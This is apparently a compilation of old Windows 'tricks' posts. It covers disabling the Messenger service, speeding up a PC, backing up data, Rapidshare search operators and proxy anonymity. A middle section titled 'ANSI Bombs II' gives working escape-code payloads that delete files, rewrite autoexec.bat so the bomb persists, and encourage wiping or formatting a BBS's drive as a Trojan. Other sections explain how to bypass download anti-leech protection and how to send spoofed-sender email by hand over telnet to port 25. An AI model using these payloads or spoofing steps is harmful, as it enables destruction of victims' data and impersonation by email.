How To Stop Spam
Change Mcft to microsoft
HOW TO STOP SPAM VIA WINDOWS MESSENGER SERVICE
Below you'll find many ways (sorted in the most successful ratio first) to stop the Windows Messenger service, depending on your system environment, some may require more than one process. This service is available only on NT, 2K, XP & Server 2003. Administrator Login is REQUIRED
About The Messenger Service
* Messenger is a Windows Service that runs in the background
* Messenger is not the same as MSN Messenger or any other Instant Messaging Program
* Messenger does not facilitate two-way chatting
* Many Windows Programs, Firewalls, UPS and Antiviruses require the Messenger Service
* Antivirus and UPS software, among others, may not work if Messenger is disabled
* The Messenger Service is usually turned on by default in most Windows NT, 2K and XP systems
1. Manually
1. Example 1
1. Click Start, Run and enter the following command:
RunDll32 advpack.dll,LaunchINFSection %windir%\inf\msmsgs.inf,BLC.Remove
NOTE: This will prevent a long delay when opening Outlook Express if you have the Contacts pane enabled
2. To prevent this, click Start, Run and enter {REGEDIT} Go to:
HKEY_LOCAL_MACHINE\Software\Mcft\Outlook Express
3. Right click in the right pane and select New, Dword value
4. Give it the name Hide Messenger Double click this new entry and set the value to 2
5. End result should look EXACTLY like this:
System Key: [HKEY_LOCAL_MACHINE\SOFTWARE\Mcft\Outlook Express]
Value Name: Hide Messenger
Data Type: REG_DWORD (DWORD Value)
Value Data: (2 = remove messenger)
2. Example 2
1. Copy and paste the following to Run Command Bar in the Start Menu:
RunDll32.exe advpack.dll,LaunchINFSection
%windir%\inf\msmsgs.inf,BLC.Remove
3. Example 3
1. If Example 5 didn't work, then try this - Many users miss or don't know of it
2. Click on Start then go to RUN and type:
C:\WINDOWS\inf\sysoc.inf
3. Change:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
4. To:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,7
5. Then use Add/Remove Windows Components to remove Messenger
NOTE: You can also prevent access to Windows Messenger using Group Policy or the Set Program Access and Defaults utility added by default in Windows XP SP1 and Windows 2000 SP3
4. Example 4
1. Open Windows Messenger
2. From the menu, select "Tools" then "Options" then "Preferences" tab
3. Uncheck "Run this program when Windows starts"
4. Open Outlook Express
5. From the menu, select "Tools" then "Options" then "General" tab
6. Uncheck the option to "Automatically log on", if it's there
7. Also in Outlook Express, select "View" then "Layout"
8. Uncheck the option to "display Contacts" - The program will open a connection and display a list of all Contacts on line if you do not
9. In "Startup Folder" make sure there is no entry there for Messenger
10. Open Norton Anti-Virus if you have it installed
11. Click "Options" then "Instant Messenger"
12. Unckeck "Windows Messenger (recommended"
NOTE: This list ought to work in disassociate MSN from Outlook Express, so that it'll only start up if you really want it to
5. Example 5
1. 2000
* Click Start-> Settings-> Control Panel-> Administrative Tools->Services
* Scroll down and highlight "Messenger"
* Right-click the highlighted line and choose Properties
* Click the STOP button
* Select Disable in the Startup Type scroll bar
* Click OK
2. XP Home
* Click Start->Settings ->Control Panel
* Click Performance and Maintenance
* Click Administrative Tools
* Double click Services
* Scroll down and highlight "Messenger"
* Right-click the highlighted line and choose Properties
* Click the STOP button
* Select Disable in the Startup Type scroll bar
* Click OK
3. XP Professional
* Click Start->Settings ->Control Panel
* Click Administrative Tools
* Click Services
* Double click Services
* Scroll down and highlight "Messenger"
* Right-click the highlighted line and choose Properties.
* Click the STOP button.
* Select Disable in the Startup Type scroll bar
* Click OK
4. Windows NT
* Click Start ->Control Panel
* Double Click Administrative Tools
* Select Services-> Double-click on Messenger
* In the Messenger Properties window, select Stop
* Then choose Disable as the Startup Type
* Click OK
NOTE: If you stop the service and don’t adjust the startup type, the Messenger service will start automatically the next time you reboot. Keep in mind that when you disable the Messenger service, you'll no longer receive messages about an attached UPS, and you won’t be notified of print job completion, performance alerts, or antivirus activity (from Windows) not the program you're using for those purposes.
6. Example 6
1. To disable receipt of messenger pop-ups, verify that your firewall disables inbound traffic on UDP ports 135, 137, and 138, and TCP ports 135 and 139. On a system connected directly to the Internet, you should also disable inbound traffic on TCP port 445. If the system you want to protect is part of a Win2K-based network with Active Directory (AD), don't block incoming traffic on port 445 - Mcft Knowledge Base Article - 330904
Code:
http://support.Mcft.com/default.aspx?scid=kb;en-us;330904
NOTE: You can use the firewall approach only if your system doesn't communicate with legacy systems that rely on NetBIOS name resolution to locate machines and shared resources. If, for example, you let users running Windows 9x share your printer or scanner, when you disable inbound NetBIOS traffic, users won't be able to connect to these shared resources. Regardless of the method you choose, you can stop messenger spam
2. Program
1. Example 1
NOTE: On Oct 15, 2003, Mcft releases Critical Security Bulletin MS03-043 warning users that the Windows Messenger Service running and exposed by default in all versions of Windows NT, 2000 and XP, contains a "Remote Code Execution" vulnerability that allows any not otherwise secured and protected Windows machine to be taken over and remotely compromised over the Internet
1. Shoot the Messenger
Code:
http://grc.com/files/shootthemessenger.exe
2. Example 2
1. Messenger Disable
Code:
http://www.dougknox.com/xp/utils/MessengerDisable.zip
NOTE: If you choose to uninstall Windows Messenger on a system with SP1 installed, you will receive an error message about "un-registering" an OCX file. This is normal, and doest not affect the removal process. Windows Messenger will still be removed
3. TEST
1. Example 1
1. Right-click "My Computer"
2. Select "Manage"
3. Under "System Tools" right-click on "Shared Folders"
4. Choose "All Tasks" and select "Send Console Message..."
5. If you recieve the following error message then the service has been disabled, otherwise confirm that you have disabled it or try another example
"The following error occured while reading the list of sessions from Windows clients:
Error 2114: The Server service is not started."
2. Example 2
1. Click Start then "Run"
2. Type in {cmd.exe}
3. Type in net send 127.0.0.1 hi
4. If you get a popup "hi" message, then confirm that you have disabled it or try another example
4. IF YOU INSIST
1. If you insist on keeping Windows Messenger, then I'd recommend Messenger Manager - "Allows you to keep your messenger service running, as is intended and needed by Windows. This ensures that vital system errors and notifications may be sent informing you of Important System Events"
Code:
http://www.sellertools.com/default.asp?i=MessageManager3.htm
2. However, as a replacement to Windows Messenger remote control feature, I'd recommend this free tool Virtual Network Computing - "It is a remote control software which allows you to view and interact with one computer (the "server") using a simple program (the "viewer") on another computer anywhere on the Internet. The two computers don't even have to be the same type, so for example you can use VNC to view an office Linux machine on your Windows PC at home"
Code:
http://www.realvnc.com/download.html
RESULTS WILL VARY
No matter how good your systems may be, they're only as effective as what you put into them.
Search
How To Stop Spam
How To Speed Up A Slow Computer
How To Speed Up A Slow Computer
first off in the bottom right hand corner of your computer if you see alot of icons start up there when you first start your computer then this is for you if you dont know already how to get rid of em.
Press your Start Button (bottom left) and go to "run"
now type in: msconfig
now you will get a box that pops up and will tell you bunch of stuff dont mess with anything else other than what I tell you otherwise you could do something really bad (possible) go to your "startup" tab on the top right of the screen where it usually is and click it.
Now you will have a closed in box with bunch of filenames n addresses and more boxes with checks in them. Now if your like me you dont want anything startin up when you start you computer up or while your even doing anything cause it slows you down. Now unless your like me right now 1 have 1 thing starting up when my computer starts up and thats my settin for my overclocked vid card. But other than that uncheck every box and then hit apply and ok. Then window you were jus in will now close and ask you if you want to restart or wait till later to restart.
Either way when you shut it off and then turn it back on the settins will kick in
How to safeguard your files when computer crashes
First thing to keep in mind: If your computer hasn't crashed yet, it will in the future! So instead of waiting for fate to strike, take some precautions now:
1) BACK-UP! Buy some decent DVD-R discs and put everything useful in them. When you have more useful stuff, backup again. Do this often.
2) Keep your computer healthy. Use an antivirus, an anti-spy, and a firewall. Keep them updated. Check regularly for Windows critical fixes.
3) Don't install software that would do dangerous things to your hard drive. A boot manager would fall in this category.
4) Use a registry cleaner before and after you install or uninstall any software. Many of the problems that will keep Windows from booting are caused by sloppy software that mess up your registry. A good registry cleaner is Tune-up Utilities.
Code:
http://www.tune-up.com/
5) Run chkdsk now and then. Go to Start> Run. Type chkdsk /F. Press enter.
In case your PC has already crashed, read the following:
Most important: Don't panic! Panic is like a little demon that whispers in your ear to format your hard drive and reinstall everything. Don't do it! You will lose all your data and the little demon will laugh at you.
To be exact you can still recover your data if you format your drive (by using special software), but only if you don't write anything on the disc afterwards. In other words format + windows install = bad idea. If you reinstall windows without formating your drive, you will only lose the files on your desktop and "My Documents" folder.
In all occasions you should make sure to safeguard your files before attempting any kind of repair!
So let's go about how to do that:
The fast way: Go to this site:
Code:
http://www.knoppix.org
. Knoppix is a Linux distribution than runs from a CD. Download the Knoppix ISO and burn it. Put it in your CD drive. On startup access BIOS and change the boot sequence so that your computer boots from the CD drive. Save settings and exit. Upon reboot, Knoppix will load.
Knoppix is much like windows and it comes with its own CD burner. Locate it, launch it and backup everything you want on CD. Now you don't have to worry anymore!
The less fast way: This requires that you have access to a second PC. Open the case of your computer and remove the hard disk.
Install it as a slave on the second PC.
Depending on respective configurations, you may have to change some jumper settings on the drive. Read the manual for help with installing hard drives and setting jumpers.
After this is done, boot the second PC. If everything went out ok, you should be able to access your drive without problems. (Edit: Note that Win98 cannot recognize a local NTFS (Win2K/XP) disk.)
Copy everything you need from your own hard drive to the other one. Now you don't have to worry anymore!
Replace your computer's hard disk, fix all problems and reverse the process to copy the data back to your computer, or take CD backups on the other PC.
How to search google for RAPIDSHARE links
how to search google for RAPIDSHARE links
If you wanna find some apps, files etc on rapidshare.de via google, do the following.
Paste this into the google search window (not the adress bar):
site:rapidshare.de -filetype:zip OR rar daterange:2453402-2453412
* this searches the site rapidshare.de for any file that is rar or zip, and
has been indexed between 1-11 February.
dvd site:rapidshare.de -filetype:zip OR rar daterange:2453402-2453412
* this is the same search but it specifically searches for "dvd" with the same
search criteria, so any app posted with the word dvd in it will be found.
There are mainly three criteria to keep in mind when doing this search.
1. site: your site of choice to search
2. filetype: filetypes you wanna search,if you put a "OR" after the first
filetype you can add more.
3. daterange: (start date-enddate)
* this uses the "julian calendar", converter can be found here:
http://aa.usno.navy.mil/data/docs/JulianDate.html
Hacking anti leech
I was just asking to know if there is some audiance before
Trick by infintytricks.blogspot.com
here is my methode
for hacking anti leech
we gona use a soft calde proxo mitron
proxomitron is an anti bull script web proxy it' works buy applying some rules to elliuminte pop up and many other thing but for our cas we need to desactive all this filtring first goto
w-w.proxomitron.info
download a copy of the soft
then you need to unselect all the option of the soft
and clik on log window
no go to a anti leech web site
use the plug in and not netpumper
in the plugin
add a proxy
you must put this proxy adress
127.0.0.1 8080 for http
the same for ftp
now select the file to download a click download
watch in proximitron log winodws you will see many internal forwarding
if the file are located in a ftp server
proximitron dont handel them
and you will find an error
in a ftp adress
if it's a http adress
you will find some thing like
get /blablalma/bla/file
site tr.com
and you have foudn the adress
it' tr.com/blabla/file
ANSI Bombs II: Tips and Techniques
ANSI Bombs II: Tips and Techniques
Trick by infintytricks.blogspot.com
I. Introduction
After writing the last file, a lot of people let me know about the
mistakes I had made. I guess this file is to clear up those miscon
ceptions and to let people know about some of the little tricks behind
ANSI bombing. Of course, ANSI bombing isn't as dangerous as a lot of
people make it out to be, but bombs are still fun to make and with a
little planning deliver some degree of success. ANSI bombing can
be dangerous, so I am tired of hearing people say that an ANSI bomb is
harmless, another misconception I hope to clear up. Now, most people
that have spent time experimenting with ANSI bombs probably know most
of the material in this file, but it might be fun just to read anyway.
2. Misconceptions
In my last file, I made three major blunders, or what I would con
sider to be major blunders. First, I said that ANSI bombs could be
used on BBSs to screw people over, but I guess I was wrong. It was
pure speculation on what other people had said that made me say that.
ANSI codes, including those that redefine keys, are sent over the
lines, but most comm programs don't use ANSI.SYS; they use their own
version of ANSI, which doesn't support key redefinition. Some people
might have a program that supports it, but I haven't seen it yet. I
have tested bombs on systems on my own and proved to myself that they
don't work. I have also seen people fuck up bombs that would have
worked by uploading them in a message. The second misconception is
that ANSI bombs are dangerous when put into zips. I haven't really
tested this out much, but from what I hear with the newer versions of
PKZIP, you have to specify that you want to see ANSI comments when
unzipping. It is unlikely that you would waste your time unzipping
something again after seeing "Format C:" in the middle of an escape
code. I could be mistaken, but I'm pretty sure that I'm right. Third,
the last thing that was a misconception is that VANSI.SYS will protect
your system from key redefinition. Maybe the newer versions don't
support key redefinition, but mine sure as hell does. There are pro
grams out there that don't support it, but I don't know any of the
names. Of course, if I were you, I would be wary about using some
thing other then ANSI. I have a few friends that are working on "A
Better ANSI" for PDers, which, instead of being better, really screws
them over.
3. An Overview
Now, in case you haven't read my other file (it's called ANSI.DOC,
kind of lame but fairly informative), I'll briefly go over the struc
ture of an ANSI bomb. Skip this part if you know what an ANSI bomb is
and how to make one.
In ANSI everything is done with a system of escape codes. Key
redefinition is one of those codes. (From now, whenever I say ESC, I
really mean the arrow, ). Here is a basic command:
ESC [13;27p
This would make the
into the
be there, as do the bracket and the "p", but what is between the
bracket and the "p" is up to you. The first number is always the key
that you want to be redefined. If there is a zero for the first num
ber, that means the key is in the extended set, and therefore, the
first two numbers are the code. The bracket signifies the beginning
of the definition, and the "p" signifies the end. Whenever you want a
key pressed, you have to use it's numerical code (i.e. 13 is the code
for
to become a string (i.e. ESC [13;"Blah"p would make
"Blah"). Strings must be inside of quotes, which includes commands
that you want typed on the DOS prompt (i.e. ESC [13;"Del *.*";13p
would delete everything in the directory, note that 13 stands for
Enter in this case, not the redefinition). An escape code can have
as many commands as you want in it, but each one has to be separated
by a semi-colon. You can only redefine one key in each escape code,
so if you want to redefine another key, you have to start another
escape code. That's about it when it comes to bombs, now that you
have the basics, all you really need is a little imagination.
4. Tips and Tricks
A. The Y/N Redefinition
Now, here's a simple but fun little ANSI bomb:
ESC [78;89;13p ESC [110;121;13p
Basically, all this does is turn a capital "N" into "Y" and a
lower-case "n" into "y". Alone this doesn't do too much, except for
screw around with what they are typing. On the other hand, try adding
this line of code to the ANSI bomb:
ESC [13;27;13;"del *.*";13p
Most people would automatically press "N" when they see "Del *.*",
but when they do, they will be screwed over. This portion of a bomb
is very useful when it comes to making good bombs.
B. Screwing with the Autoexec.bat
Here is another line of code that you may find useful in future
bombing projects:
ESC [13;27;13;"copy bomb.ans c:\";13;"copy con
c:\autoexec.bat";13;"type bomb.ans";13;0;109;
13;"cls";13p
This line of code makes the bomb a little more permanent and a
little more dangerous. It copies the bomb into the root directory,
then it change/creates the autoexec.bat, so the bomb is typed after
every boot-up. Of course, the person could just boot off a disk, but
I'm sure this would get them a few time. It could also probably
appear as though it were a virus, scaring the shit out of the owner of
the computer.
C. Turning Commands into Other Commands
One of the best pranks to do to someone using an ANSI bomb is to
redefine commands. That way if they type in "copy", it will turn into
"Del *.*". Since you can't actually change the whole string, you have
to take a different approach. You have to change a few of the keys,
so when typed, they type and execute the desired command. I guess it
would be coolest to have to command exactly the same length; that way
you could redefine one key at a time to obtain the desired effect.
It doesn't really matter how you do it, just as long as it works. You
might make an ANSI that says "Wow, check out what this bomb did to
your directory", and then have it redefine the keys, so when they type
in "dir", it turns into "del". I think you get the idea.
D. Trojans
By now, everybody knows what a Trojan is. You probably wouldn't
think so, but ANSI bombs can be used as Trojans and in Trojans. First,
if you are planning on crashing a board, but you're not very good at
programming, then make yourself an ANSI bomb. Try to find out in
which directory the main files for running the BBS are stored. They
are usually under the name BBS or the name of the software, like WWIV
or Telegard. Then, make a bomb that either just deletes all the files
in that directory, or if you want the board to be down a longer time,
then make one that formats the Hard Drive. In this form ANSI bombs,
if they are well planned out, can be easy to make Trojans. Second,
ANSI bombs can used in Trojans. This is probably stretching it a
little, but say you wanted to write a Trojan that would delete a
directory, every time you typed a certain key, then you could use an
ANSI bomb. First make some batch and com/exe files that would search
for protecting programs like Norton and turn them off. Then you could
copy the file into the root directory, along with your versions of
autoexec.bat, config.sys, ANSI.sys, and whatever else. (To make it
look more realistic make the files Resource.00x to trick the user,
then when copying, use the real name). Then somehow lock the computer
up or do a warm boot through some pd program, which is easily attain
able. When the computer loads back up, you can screw that shit out of
them with your ANSI bomb.
5. Conclusion
It would seem to some people that ANSI bombs are very dangerous,
and to others that they are stupid or lame. Personally, I think that
ANSI bombs are just plain old fun. They're not too hard to make, but
there is a lot that you can do with them. They are nowhere near as
malicious as virii, so if you're looking for unstoppable destruction,
look elsewhere, but they do serve their purpose. I know that there
are programs out there that help you program ANSI bombs, but I think
that they kind of take the fun out of them. Probably, some day soon,
I'll quit making ANSI bombs and start looking more into virii and pure
Trojans. But for now, ANSI bombs suit my purpose.
-TRG
Appendix A: Key Code Program
Here is a small program, which I find very helpful. After loading
it up, it tells you the numeric code for every key you type in. Spe
cial means that it is in the extended set and therefore uses zero, and
"q" ends the program. Unfortunately, I can't take any credit for
this program. I got it over the phone from Heavymetl, and it was made
by his brother. So many thanks go out to Heavymetl and his brother,
even though they'll probably be a little pissed at me for including
this in my file. It is in Pascal and can be compiled in most Turbo
Pascal compilers.
Use CRT;
Var
CH : CHAR;
Begin
Repeat
CH := ReadKey;
If CH = #0 then
Begin
CH := ReadKey;
WriteLn(CH,'(Special) - ',ORD(CH));
End
Else
WriteLn(CH,' - ',ORD(CH));
Until
CH = 'q';
End.
Guide on how to send ANONYMOUS e-mails to someone without a prog.
Welcome to guide on how to send ANONYMOUS e-mails to someone without a prog.
Trick by infintytricks.blogspot.com
I am Hackerdevil and i am going to explain ya a way to send home-made e-mails. I mean its a way to send Annonimous e-mails without a program, it doesn't take
to much time and its cool and you can have more knowledge than with a stupid program that does all by itself.
This way (to hackers) is old what as you are newby to this stuff, perhaps you may like to know how these anonymailers work, (home-made)
Well.....
Go to Start, then Run...
You have to Telnet (Xserver) on port 25
Well, (In this Xserver) you have to put the name of a server without the ( ) of course...
Put in iname.com in (Xserver) because it always work it is a server with many bugs in it.
(25) mail port.
So now we are like this.
telnet iname.com 25
and then you hit enter
Then When you have telnet open put the following like it is written
helo
and the machine will reply with smth.
Notice for newbies: If you do not see what you are writing go to Terminal's menu (in telnet) then to Preferences and in the Terminal Options you tick all opctions available and in the emulation menu that's the following one you have to tick the second option.
Now you will se what you are writing.
then you put:
mail from:
If you make an error start all over again
Example:
mail from:askbill@microsoft.com.net
You hit enter and then you put:
rcpt to:lamer@lamer'sworld.com
This one has to be an existance address as you are mailing anonymously to him.
Then you hit enter
And you type
Data
and hit enter once more
Then you write
Subject:whetever
And you hit enter
you write your mail
hit enter again (boring)
you put a simple:
.
Yes you don't see it its the little fucking point!
and hit enter
Finally you write
quit
hit enter one more time
and it's done
look:Try first do it with yourself I mean mail annonymously yourself so you can test it!
Don't be asshole and write fucking e-mails to big corps. bec' its symbol of stupidity and childhood and it has very very effect on Hackers they will treat you as a Lamer!
Really i don't know why i wrote this fucking disclaimer, but i don't want to feel guilty if you get into trouble....
Disclamer:Hackerdevil is not responsable for whetever you do with this info. you can destribute this but you are totally forbidden to take out the "By Hackerdevil" line. You can't modify or customize this text and i am also not responsable if you send an e-mail to an important guy and insult him, and i rectly advise you that this is for educational porpouses only my idea is for learning and having more knowledge, you can not get busted with this stuff but i don't take care if it anyway happen to you. If this method is new for ya probably you aren't a hacker so think that if someone wrote you an e-mail "yourbestfirend@aol.com" insulting you and it wasn't him it but was some guy using a program or this info you won't like it.so Use this method if you don't care a a damn hell or if you like that someone insult you.
Anonymity of Proxy
Anonymity of Proxy
Trick by infintytricks.blogspot.com
The exchange of information in Internet is made by the "client - server" model. A client sends a request (what files he needs) and a server sends a reply (required files). For close cooperation (full understanding) between a client and a server the client sends additional information about itself: a version and a name of an operating system, configuration of a browser (including its name and version) etc. This information can be necessary for the server in order to know which web-page should be given (open) to the client. There are different variants of web-pages for different configurations of browsers. However, as long as web-pages do not usually depend on browsers, it makes sense to hide this information from the web-server.
What your browser transmits to a web-server:
a name and a version of an operating system
a name and a version of a browser
configuration of a browser (display resolution, color depth, java / javascript support, ...)
IP-address of a client
Other information
The most important part of such information (and absolutely needless for a web-server) is information about IP-address. Using your IP it is possible to know about you the following:
a country where you are from
a city
your provider?s name and e-mail
your physical address
Information, transmitted by a client to a server is available (accessible) for a server as environment variables. Every information unit is a value of some variable. If any information unit is not transmitted, then corresponding variable will be empty (its value will be undetermined).
These are some environment variables:
REMOTE_ADDR ? IP address of a client
HTTP_VIA ? if it is not empty, then a proxy is used. Value is an address (or several addresses) of a proxy server, this variable is added by a proxy server itself if you use one.
HTTP_X_FORWARDED_FOR ? if it is not empty, then a proxy is used. Value is a real IP address of a client (your IP), this variable is also added by a proxy server if you use one.
HTTP_ACCEPT_LANGUAGE ? what language is used in browser (what language a page should be displayed in)
HTTP_USER_AGENT ? so called "a user?s agent". For all browsers this is Mozilla. Furthermore, browser?s name and version (e.g. MSIE 5.5) and an operating system (e.g. Windows 98) is also mentioned here.
HTTP_HOST ? is a web server?s name
This is a small part of environment variables. In fact there are much more of them (DOCUMENT_ROOT, HTTP_ACCEPT_ENCODING, HTTP_CACHE_CONTROL, HTTP_CONNECTION, SERVER_ADDR, SERVER_SOFTWARE, SERVER_PROTOCOL, ...). Their quantity can depend on settings of both a server and a client.
These are examples of variable values:
REMOTE_ADDR = 194.85.1.1
HTTP_ACCEPT_LANGUAGE = ru
HTTP_USER_AGENT = Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)
HTTP_HOST = www.webserver.ru
HTTP_VIA = 194.85.1.1 (Squid/2.4.STABLE7)
HTTP_X_FORWARDED_FOR = 194.115.5.5
Anonymity at work in Internet is determined by what environment variables "hide" from a web-server.
If a proxy server is not used, then environment variables look in the following way:
REMOTE_ADDR = your IP
HTTP_VIA = not determined
HTTP_X_FORWARDED_FOR = not determined
According to how environment variables "hided" by proxy servers, there are several types of proxies
Transparent Proxies
They do not hide information about your IP address:
REMOTE_ADDR = proxy IP
HTTP_VIA = proxy IP
HTTP_X_FORWARDED_FOR = your IP
The function of such proxy servers is not the improvement of your anonymity in Internet. Their purpose is information cashing, organization of joint access to Internet of several computers, etc.
Anonymous Proxies
All proxy servers, that hide a client?s IP address in any way are called anonymous proxies
Simple Anonymous Proxies
These proxy servers do not hide a fact that a proxy is used, however they replace your IP with its own:
REMOTE_ADDR = proxy IP
HTTP_VIA = proxy IP
HTTP_X_FORWARDED_FOR = proxy IP
These proxies are the most widespread among other anonymous proxy servers.
Distorting Proxies
As well as simple anonymous proxy servers these proxies do not hide the fact that a proxy server is used. However a client?s IP address (your IP address) is replaced with another (arbitrary, random) IP:
REMOTE_ADDR = proxy IP
HTTP_VIA = proxy IP
HTTP_X_FORWARDED_FOR = random IP address
High Anonymity Proxies
These proxy servers are also called "high anonymity proxy". In contrast to other types of anonymity proxy servers they hide a fact of using a proxy:
REMOTE_ADDR = proxy IP
HTTP_VIA = not determined
HTTP_X_FORWARDED_FOR = not determined
That means that values of variables are the same as if proxy is not used, with the exception of one very important thing ? proxy IP is used instead of your IP address.
Summary
Depending on purposes there are transparent and anonymity proxies. However, remember, using proxy servers you hide only your IP from a web-server, but other information (about browser configuration) is accessible!
Anonymity proxy
Anonymity
Trick by infintytricks.blogspot.com
I can see you hiding in the shadows over there and so can the logs of all the web sites, FTP servers and other nooks and crannies you visit on the web. The sort of information gathered by these logs and which is available to the webmasters of the sites you visit include the address of the previous site you visited, your IP address, your computer's ID name, your physical location and the name of your ISP along with less personal details such as the operating system you're using and your screen resolution. If someone was snooping through your dustbin to gather information on consumer trends or tracking your every move to see where it is you go everyday you wouldn't be too chuffed would you. Well the web is no different, it's still an invasion of privacy and a threat to security and you don't have to put up with it.
Proxy servers:
Every time you visit a web site, detailed information about your system is automatically provided to the webmaster. This information can be used by hackers to exploit your computer or can be forwarded to the market research departments of consumer corporations who by tracking your activities on the internet are better equipped to direct more relevant spam at you. Your best defence against this is to use what is known as a proxy server, which will hide revealing information from the web sites you visit, allowing you to surf the web anonymously. These work by altering the way in which your browser retrieves web pages or connects to remote servers. With a proxy server set up, whenever you 'ask' IE or Netscape to look at a web page, the request is first sent through an external server which is completely independent of your ISP's servers. This third party server then does the requesting on your behalf so that it appears that the request came from them rather than you and your real IP address is never disclosed to the sites you visit. There is nothing to download and the whole process takes less than a minute.
There are two different ways to use proxy servers and both have their advantages and disadvantages. The first method is to use a web based service. What this involves is visiting the proxy's home page each time you want to browse a web site anonymously. The core component of such a system is the dialog box where you enter the address of the web site you want to visit. Each time you enter the URL of the site you want to browse via the proxy into this box, your personal information, IP address and so on is first encrypted before being sent to the site allowing you to maintain your anonymity. Two of the best examples of this type of web based proxy service are Code:
hxxp://www.rewebber.com/
and hxxp://www.anonymizer.com/.
Obviously one disadvantage of using a web based service like Rewebber or Anonymizer, however, is that you have to visit the proxies home page each time you want to surf anonymously. You could choose to select this page as your default home page, but it's still quite awkward if you're forever site hopping at the speed of light. The second main 'con' is that you often have to put up with extra adverts on the pages you visit. These are automatically inserted into the pages by the proxy - they have to pay for service somehow. More sophisticated and convenient solutions are also on offer yet they come with a price tag.
The second method you can use to protect your privacy via a proxy server involves adjusting the settings of your web browser so that you can surf anonymously without having to visit the home page of your proxy each time. To do this you will first need to know the name of your proxy server and the port number it uses. This information can be gleaned from either a public proxy server list or the FAQ referring to a private subscription based service. Once you have the name of the proxy server you wish to use, select 'Internet Options' from the 'Tools' menu of your browser. Now select 'Connections' followed by 'Settings' and tick the 'use a proxy server' check box. To finish the job all you have to do now is enter the name of the server in the 'address' box, the port which it uses in the 'port' box and go forth and surf anonymously.
Free, manual proxy servers as advertised on anonymity sites, if you can find one at all, are likely to be highly oversubscribed, and as a result the speed at which they retrieve web pages can deteriorate. In which case you can go in pursuit of a public proxy server list and select an alternative from it, which can then be set up manually. To locate such a list you can investigate sites such as Code:
hxxp://www.proxys4all.com/
however, this method isn't problem free either, so before you get too carried away and go jumping on the anonymity bandwagon there are a few things you should be aware of. It's very easy to use proxies to protect your privacy, but often the disadvantages of using them far out weigh the benefits. You see, the problem is that, like the proxy servers provided Rewebber et al, free, public proxies are nearly all over subscribed and so they can slow down web browsing considerably. Digging out fast reliable proxy servers is an art form in itself and is a skill which takes considerable practice. You could find a list of public proxy servers and then experiment with each one until you find one that runs at a reasonable speed, but this can be very time consuming and frustrating. Instead, your search would be much more efficient if you got a dedicated program to carry out this task for you. There are literally dozens of proxy seeking programs around which can do just that, and many of them are available as freeware. What these do is scan the internet for public proxy servers. These servers are then tested for speed and anonymity (not all of them are truly anonymous, even if they claim to be!) and once you find one which suits your requirements you can select it as your default proxy with the click of a button.
One of the most significant advantages of using an automated tool to locate proxy servers is that you do not have to keep editing your proxy settings manually each time you wish to try out a new one. Instead, what you do is enter 'localhost' or '127.0.0.1' into the 'address' box and '8088' into the 'port' box of your browser's proxy settings menu and then forget about it. All future proxy switching is then orchestrated from within your proxy seeking software, which subsequently relays the information to your browser or whatever type of application you are attempting to make anonymous. For those of you who are curious 'localhost' and the IP address '127.0.0.1' are the names by which every computer on the internet refers to itself.
Here's a good selection of links, which should help you to get started - Code:
hxxp://www.a4proxy.com/ Anonymity 4 Proxy
hxxp://www.helgasoft.com/hiproxy/ Hi Proxy
hxxp://www.proxy-verifier.com/ Proxy Verifier
hxxp://www.photono-software.de/ Stealther.
You may find that even when using these programs you have difficulty finding good proxy servers. It is for this reason that many people choose only to use proxy servers temporarily whilst doing something which may land them in trouble with their ISP, or in a worst case scenario with the law. The most obvious example of a situation in which you would want to cover your tracks is when scanning for public FTP servers and subsequently uploading to them. Most other net activities are unlikely to incur serious consequences so under these circumstances you can safely surf the web without a proxy. If you're really serious about protecting your privacy, however, your best bet is probably to invest in a dedicated, stable proxy such as the ones offered by Code:
hxxp://www.ultimate-anonymity.com/ Ultimate Anonymity
These aren't free, but may be worth the expense if you aren't keen on continuously switching proxy servers.
Before splashing out though it may be worth checking if your current ISP has a proxy server of its own which you can use. These aren't there to help you to commit cyber crimes and get away with it, they actually have a legitimate purpose as well - otherwise they wouldn't exist. You see, proxy servers were originally designed to help speed up web page loading times. Proxy servers contain a cache of all the web pages which have been requested via the browsers of the people using the proxy. When someone surfs the web using a proxy, the proxy first checks to see if it already has a copy of the web page stored in its cache. If this version of the page is bang up to date, it is sent to your computer and appears in your browser. If the page found in the cache of the proxy server is older than the one stored on the server hosting the page, a new request to the web server is made and the page is updated in the cache of the proxy before being sent to you. Because these servers use very fast internet connections they can retrieve web pages at much greater speeds than you can via your modest home setup. If these servers are located physically nearer to your home than the web host servers you wish to retrieve web pages from, the speed at which you browse the web will be accelerated.
Anonymity - Cookies
One last important point you need to be aware of before jumping in with both feet is that different programs have to be setup in different ways before being able to make external connections via a proxy server. For example, you can surf the web anonymously by modifying the settings in Internet Explorer or Netscape Navigator as explained earlier in this tutorial, but this will only affect your browser. If you then used Flash FXP to copy a batch of 0-day releases from one FTP server to another, this isn't going to protect you in the slightest. What you have to do is enter the name of the proxy server into each application you wish to make anonymous before making any external connections. This can usually be done by browsing through the preferences of your program to see if there is a 'use proxy server' option available. If there is, make sure you use it!
Cookies:
You have little to fear from the edible variety, but the digital ones can be a major threat to your security and privacy. A cookie is a tiny text file (usually less than 1kb in size), which is created and stored on your hard drive whenever you visit a dynamic (or an interactive if you like) web site. These are used to log your personal details so that you can access members only areas of web sites without having to type in a password every time, or to retain your customised settings so that they are available the next time you visit. If you're using a shared computer, anyone who visits the same site that you have previously logged in to can access your accounts. This is particularly worrying if you have entered your credit card details into a form on an e-commerce site. If your browser is set to automatically fill in these details whenever you
return to a previously visited site, this information could be clearly visible - you don't need me to explain the problems this could entail.
The solution to this problem is to delete any cookies which contain sensitive data once you have completed your transactions. Your cookies will be stored in a different place depending on which operating system you are using so you will have to use your detective skills to find them. As an example, in Windows XP they are located in your 'c:\Documents and Settings\Kylie Minogue\Cookies' directory (that is if your name is Kylie Minogue. Mine isn't in case you're wondering!). If you look in this directory, in some cases it is easy to identify which cookie is associated with which web site, but in other cases it's not so obvious. The cookie which was created when you visited Yahoo.com to check your email may be called kylie minogue@yahoo.txt for example. Unfortunately some cookies refer to the IP address of the site you visited and so look more like kylie minogue@145.147.25.21. These cookies can be selectively deleted one at a time if it's obvious which ones are causing a threat to your security, or you can just wipe out the whole lot in one fell swoop and have them recreated as and when they are required. However, if
you're really struggling to find your cookie jar, you could delete your cookies via your browser's tool bar instead. In Internet Explorer this can be done through the 'Tools' > 'Internet Options' menu items.
